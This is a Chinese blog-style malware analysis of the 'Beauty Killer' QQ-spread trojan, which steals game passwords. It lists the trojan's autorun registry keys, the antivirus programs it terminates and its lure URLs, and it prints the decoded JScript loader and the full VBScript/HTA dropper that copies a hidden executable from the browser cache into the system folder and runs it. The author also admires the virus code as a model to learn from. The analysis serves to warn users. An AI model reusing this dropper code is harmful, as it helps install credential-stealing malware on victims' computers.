文章收藏-FAQ 位置:电脑学习网

美女图片传病毒——“美女杀手”传播过程全解析

    前几日,一个朋友中了一个病毒,他的 QQ 上线后就会自动发给好友一个网址。这个病毒弄的他叫苦不迭,我应邀到那个网之看了一下,发现了病毒传播的过程,在此把发现过程共享一下给大家,希望大家对病毒能够引起重视,同时也不要害怕,正确的对待它。

下面的信息是关于这个病毒的一个变种在瑞星病毒库资料里的信息:

 Trojan.Legend.Syspoet.b.enc

WINDOWS下的PE病毒

美女杀手

VB写的盗游戏密码的木马,采用UPX压缩,一旦执行,病毒将自我复制到系统文件夹: 

%SYSDIR%\filename.exe

它将创建下列注册表键值来使自己随Windows系统自启动: 

HKLM\SoftWare\Microsoft\Windows\CurrentVersion\RunServices 

“filename.exe“=“filename.exe“ 

HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run 

“filename.exe“=“filename.exe“ 

其中“filename“可能会变化.比如:“sobsm.exe“. 

它将终止带有下列字眼的程序的执行:

瑞星 
金山毒霸 
江民 
专杀 
毒 
木马 
防火墙 
监控 
注册表编辑器 
任务管理器 
进程列表 
进程管理 
Antivirus 
Trojan 
REGSNAP 
REGSHOT 
REGISTRY MONITOR 
W32DASM 

它通过QQ发送虚假消息给在线好友,导致在线好友上当,有鉴于此,希望用户收到带有下列链结的请不要访问: 

http://qiumei.3322.org/zhaopian/me.jpg 
http://jiawei.6600.org/zhaopian/me.jpg 
http://siting.8800.org/zhaopian/me.jpg 
http://qianhui.9966.org/zhaopian/me.jpg 
http://xiujuan.2288.org/zhaopian/me.jpg 

    它将盗取游戏“传奇”的各种信息: 

账号 
区域 
服务器 
密码 
附加 

    同时它还将盗取的信息发送到可配置的指定邮箱。 
 
    注: %SYSDIR% 是可变的WINDOWS系统文件夹,默认为: C:\Windows\System (Windows 95/98/Me), 
C:\Winnt\System32 (Windows NT/2000), 或 C:\Windows\System32 (Windows XP)、 
%WINDIR% 是可变的,是WINDOWS的安装目录(默认为: C:\Windows or C:\Winnt).

    因为我事先知道是病毒,所以对待比较小心。我看到连接地址最后是一个.jpg的文件,于是我就打开了flashget,(用flashget下载,病毒总不会发作吧),下载后,怎么办?我看到下载下来的文件只有几k而已,料想不会有什么复杂的东西在里面,于是就启动了图像编辑器,打开这个文件。奇怪的事情发生了,格式错误!!!难道是我下错了?于是我就涨起胆子连到了那个网址上,一幅图片出现了,(其实我觉得哪个女的不漂亮,呵呵)。这下子我可傻了。根据我的经验,我已经中着了。反正也中着了,抱着死猪不怕开水烫的心态,我大胆的进行了进一步的分析。首先,我察看了一下哪个图片的属性。一个细节被我捕捉到了,我连接得网址最后是一个me.jpg,可是那幅图片的属性是my.jpg,这可是一个线索,于是我习惯性的打开了源文件(精彩的部分开始了)。我看到了如下的内容:

〈html〉
〈head〉

〈script language=“JScript.Encode“〉#@~^xQEAAA==@#@&@!Z O@#@&\mD,AWMNdP{JYf;tYss]22]Z9Y!z]2Z8W[zu&3]Z9]ZbYf;W4%n1YY Z[mYCu&G] yhbUEa/ lkwY+y] ZA+botDYffZ]y!Ak[O4]ffu+!Z]f3u&Z&G(LnmDY22YZfu!bu&;r:T]+!kD^Y2f:H Lao]23Y!G]ZbY&/G(LnmDY ZNCOm]&9Yy 4+^sKRCkwu  u ZA+bo4Yu&9Tu !SrNDt]29Y Z!u&3]f/JW8L^Yu&3YZf]T)u&/z(G9XY22u!fu!zY&;z4YsVYfAJPJ&w!YPHG;D,mMk2YG~1W[+,OtDn@#@&0EU^DkGx,G!YAKD9`#@#@&P@#@&7l.P      +AAKDNkI@#@&x+SAGD9/,’~EUnkmCwchKD[d*i@#@&[Km;:UDRAMkD+`      +SAWMNd#p@#@&N,@#@&K;YSWD9cbi@#@&Jz~OR@*@#@&Qn4AAA==^#~@〈/script〉

〈/head〉

〈body〉

〈/body〉

〈/html〉

    怪了!!!.jpg的文件怎么会成了〈html〉代码了呢?看来,作者还真下了一番功夫,把服务器的文件解析也改了?厉害厉害!!!

看到没,加密了,不过不要紧,网上到处都可以找到解密工具。解密后,代码如下:

〈html〉

〈head〉

〈script language=“JScript.Encode“〉

〈!--

var words =“%3Chtml%3E%0D%0A%3Cbody%3E%0D%0A%3Cobject%20data%3D%22winups.asp%22%20weight%3D0%20width%3D%200%3E%3C/object%3E%0D%0A%3Cimg%20src%3Dmy.jpg%3E%0D%0A%3Cobject%20data%3D%22hello.asp%22%20weight%3D0%20width%3D%200%3E%3C/object%3E%0D%0A%3C/body%3E%0D%0A%3C/html%3E“ //put your cripto code there

。。。。。。。。这一段是加密后的代码

function outword()

{

var newwords;

newwords = unescape(words);

document.write(newwords);。。。。。。。解密后写入网页内



outword();

// --〉

〈/script〉

〈/head〉

〈body〉

〈/body〉

〈/html〉

    看来作者为了难为我们,还加密了这段代码,不过没关系,它能加密,我们就能解密,并且,他的加密手段很简单,不过是应用了现成的js的函数,我们用unescape()不就解密了么。于是,我动手写了一个小脚本,把上述代码解密了出来。

加密的代码内容如下:

〈html〉

〈body〉

〈object data=“winups.asp“ weight=0 width= 0〉〈/object〉

〈img src=my.jpg〉。。。。。。。。。现在明白为什么是my.jpg了吧

〈object data=“hello.asp“ weight=0 width= 0〉〈/object〉

〈/body〉

〈/html〉

    看到了么,尾巴露出来了!!!,这两个文件可是关键啊。于是乎,下载了这两个文件。(扩展名就随意了)。

    我先打开了winups.asp(是用记事本打开的,我发现文件开头有MZ字样),哈哈,原来这是一个.exe文件。先不理会他,看看另一个,另一个相对简单,打开之后一看是一段脚本代码(可恶,竟然又加密了)。没办法,解密,得到如下代码:

〈object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’〉〈/object〉

〈HTA:APPLICATION  caption=“no“ border=“none“ visiable=“no“ windowState=“minimize“ 〉

。。。。这是在建立脚本对象

〈script LaNGUAGE=“VBScript.Encode“〉

window.moveTo  -100,-100

。。。。哈哈,竟然用这种隐藏窗体的方法

Set g_fs = CreateObject(“Scripting.FileSystemObject“)

Set tf = g_fs.CreateTextFile(“c:\isp.hta“,true)

。。。。看看,来了不是,开始文件操作了吧

tf.write “〈HTA:APPLICATION  caption=“ & CHR(34)& “no“ & CHR(34)& “ border=“ & CHR(34)& “none“ & CHR(34)& “ visiable=“ & CHR(34)& “no“ & CHR(34)& “ showintaskbar=“ & CHR(34)& “no“ & CHR(34)& “ 〉“ &chr(13)&chr(10)

。。。。。看来作者是要用脚本来写脚本了,够狠!!!

tf.write “〈object id=’wsh’ cl“& chr(97)&“ssid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’〉〈/object〉“&chr(13)&chr(10)

。。。。。F935DC22-1CF0-11D0-ADB9-00C04FD58A0B 是WSH的sid

tf.write “〈“ & “script LANGUAGE=“ & CHR(34)& “VBScript“ & CHR(34)& “〉“&chr(13)&chr(10)

tf.write “on error resume next“&chr(13)&chr(10)

tf.write “window.moveTo  -100,-100“&chr(13)&chr(10)

tf.write “window.resizeTo 0,0 “&chr(13)&chr(10)

tf.write “dim exepath“&chr(13)&chr(10)

tf.write “Function Search(objFolder) “&chr(13)&chr(10)

tf.write “Dim objSubFolder“&chr(13)&chr(10)

tf.write “For Each objFile in objFolder.Files“&chr(13)&chr(10)

tf.write “If InStr(1, objfile.name, “ & CHR(34)& “winups“ & CHR(34)& “, vbtextcompare) then“&chr(13)&chr(10)

tf.write “set filecp = objg_fso.getfile(objfile.path)“&chr(13)&chr(10)

tf.write “filecp.copy (exepath)“&chr(13)&chr(10)

tf.write “exit for“&chr(13)&chr(10)

tf.write “End If“&chr(13)&chr(10)

tf.write “Next “&chr(13)&chr(10)

tf.write “For Each objSubFolder in objFolder.SubFolders  “&chr(13)&chr(10)

tf.write “Search objSubFolder“&chr(13)&chr(10)

tf.write “Next“&chr(13)&chr(10)

tf.write “End Function“&chr(13)&chr(10)

。。。。这个函数是找到winups哪个文件,然后复制到系统目录下

。。。。

tf.write “Set objg_fso = CreateObject(“ & CHR(34)& “Scripting.FileSystemObject“ & CHR(34)& “)“&chr(13)&chr(10)

tf.write “str=WSH.regread(“ & CHR(34)& “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\cache“ & CHR(34)& “)“&chr(13)&chr(10)

。。。。这是在寻找缓存目录

tf.write “set tempfolder = objg_fso.getfolder(str)“&chr(13)&chr(10)

tf.write “set othisfolder = objg_fso.GetSpecialFolder(1)“ &chr(13)&chr(10)

tf.write “exepath=othisfolder.path & “& chr(34) & “\win.exe“ & chr(34) &chr(13)&chr(10)

tf.write “search tempfolder“&chr(13)&chr(10)

。。。。真是的,还要复制到系统目录下,可恶

tf.write “wsh.run (exepath)“&chr(13)&chr(10)

tf.write “wsh.run “ & CHR(34)& “command.com /c del c:\isp.hta“ & CHR(34)& “ ,0“&chr(13)&chr(10)

。。。。呵呵,还不忘了删除自己,习惯不错,值得学习

tf.write “window.close()“&chr(13)&chr(10)

tf.write “〈“ &chr(47)& “script〉“&chr(13)&chr(10)

tf.close

wsh.run “c:\isp.hta“,0

window.close ()

〈/script〉

    有一个

    真是一段短小精悍的代码。估计流程大家已经看明白了。先在缓存里找到那个文件,然后复制到系统目录里,并执行它。而且,精彩之处还在于,作者用脚本生成了一个脚本。剩下来的工作,我就不敢做了,让我跟踪.exe文件,找出其中的流程,过几年再说吧。不过就看这之前的脚本,也是极为精彩的。其实,如果你想学编程,一定要学习一些病毒代码,这里面有很多值得借鉴的东西。先从简单的学起,比如这个病毒。

    整个跟踪下来,我一直很是兴奋,不是因为我发现了病毒的传播方法,而是为作者的代码拍案叫绝。如果你还懂一点编程的话,那么你应该学习怎么去欣赏一段代码,好的代码,就像文学里的诗歌一样,虽短小,却回味无穷。

    呵呵,扯了一堆废话,还是干正事要紧,赶快把我提取出的病毒打了个包,发给了瑞星。(那天应该是02/26)。大约三天后,得到了瑞星的回复,告诉了我这是“美女杀手”。到网站一看,还是个新病毒。

    说来也巧,我和我同学都打开了那个网址,可是我对那个病毒“屡试不爽”,而我同学却被折腾的“爽的不得了”,一看病毒库资料,我才恍然大悟,原来是vb的程序,而我没有装studio,也没装其他的vb程序,所以没有vb6运行库,病毒当然无法运行。哈哈,想起来真是后怕。

    希望通过此文,大家能够对病毒有一个新的认识,其实病毒也不可怕,只要弄清了机理,病毒可是一个好玩的东西。

     [文章来源:“十万个为什么”电脑学习网]
     [网络地址:http://why100000.com]
     [版权声明:除本站部分特别声明禁止转载的专稿外,其他的文章可以自由转载,但请务必注明出处和原始作者。本站文章版权归文章原作者所有。如果本站转载的文章有版权问题请联系本站,我们会尽快予以更正。]
 

【字体:[大] [中] [小] 【加入收藏】 【发表评论】 【关闭本窗口】

Copyright © “十万个为什么”电脑学习网 2000-2007 陕ICP备06007929号
站务联系:MSN & Email:zhangking2008@gmail.com  QQ:9365822